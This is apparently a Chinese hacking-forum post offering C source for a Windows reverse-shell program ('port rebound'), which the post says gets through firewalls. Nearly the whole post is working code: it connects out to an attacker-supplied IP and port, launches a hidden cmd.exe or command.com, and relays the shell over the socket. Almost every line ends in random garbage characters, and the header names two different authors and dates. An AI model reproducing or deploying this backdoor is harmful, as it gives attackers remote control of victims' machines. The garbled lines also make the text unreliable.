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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ] Wx>)LT  
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/* ============================== d)04;[=  
Rebound port in Windows NT fjIcB+Z  
By wind,2006/7 _e?q4>B)c  
===============================*/ ]DC;+;8Jc  
#include \);.0  
#include VX^o"9Ntl  
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#pragma comment(lib,"wsock32.lib") :M22P`:  
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void OutputShell(); F-BJe]  
SOCKET sClient; ET,Q3X\Oe  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W NwJM  
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void main(int argc,char **argv) uFwU-LCe  
{ U,Z"G1^  
WSADATA stWsaData; vix&E`0yD  
int nRet; 0PnD|]9:  
SOCKADDR_IN stSaiClient,stSaiServer; 2qZa9^}  
3[0w+{ (Q  
if(argc != 3) Yz&*PPx  
{ QU^/[75Ea0  
printf("Useage:\n\rRebound DestIP DestPort\n"); xab]q$n]k  
return; 87QZun%  
} @gt)P4yE  
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WSAStartup(MAKEWORD(2,2),&stWsaData); V19e>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  }Vvsh3  
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stSaiClient.sin_family = AF_INET; D9qX->p  
stSaiClient.sin_port = htons(0); Qs|OG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,M\j%3  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cPpu  
{ 5cD XWF  
printf("Bind Socket Failed!\n"); h [nH<m  
return; n?'d|h  
} &EAk z  
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stSaiServer.sin_family = AF_INET; ]>tq|R78  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,f} h}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H4M{_2DO  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Eo%UuSi  
{ +yzcx3<  
printf("Connect Error!"); Tr}R`6d$  
return;  MKU7fFN.  
} u-m%=2  
OutputShell(); Y)$52m5rM  
} \Ut6;  
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void OutputShell() [^<SLTev  
{ ~O \}/I28  
char szBuff[1024]; B{s]juPG  
SECURITY_ATTRIBUTES stSecurityAttributes; f#@S*^%V$  
OSVERSIONINFO stOsversionInfo; ;aq`N}d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vG Y!4@[  
STARTUPINFO stStartupInfo; Y4QLs^IdB  
char *szShell; >@^<S_KVh  
PROCESS_INFORMATION stProcessInformation; RnHQq'J|\  
unsigned long lBytesRead; as>:\hjP##  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Tdg6kkJ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vFTXTbt'h  
stSecurityAttributes.lpSecurityDescriptor = 0; A2Q[%A  
stSecurityAttributes.bInheritHandle = TRUE; M]c7D`%s  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +H7y/#e+3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /:U1!9.y  
 AlO,o[0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S|HY+Z6n'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ba<ngG !  
stStartupInfo.wShowWindow = SW_HIDE; SU/G)&Mi  
stStartupInfo.hStdInput = hReadPipe; Q~phGD3!~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ] bIt@GB  
brntE:  
GetVersionEx(&stOsversionInfo); ~%`EeJwT  
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switch(stOsversionInfo.dwPlatformId) .N5'.3  
{ S#k{e72 *  
case 1: .>P~uZiX!  
szShell = "command.com"; !~WZ_z  
break; *2`:VFEV  
default: h%' N hV  
szShell = "cmd.exe"; ?4,@, ae&  
break; 5? Wg%@  
} cST\~SUm  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ei@3,{~5  
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send(sClient,szMsg,77,0); `aIG;@Z  
while(1) _74UdD{^o  
{ >)LAjwhBp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P@C c]Z  
if(lBytesRead) `mrCu>7  
{ |"Z-7@/k$i  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D ZVXz|g  
send(sClient,szBuff,lBytesRead,0); 3)Zu[c[%'J  
} Vb2\/e:k  
else ZW>o5x__b  
{ 4Q;<Q"  
lBytesRead=recv(sClient,szBuff,1024,0); Lx%:t YZ  
if(lBytesRead<=0) break; HcA[QBh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [<yz)<<  
} PB+\jj  
} 5C B%=iL{  
g92dw<$>  
return; Hq?&Qo  
}
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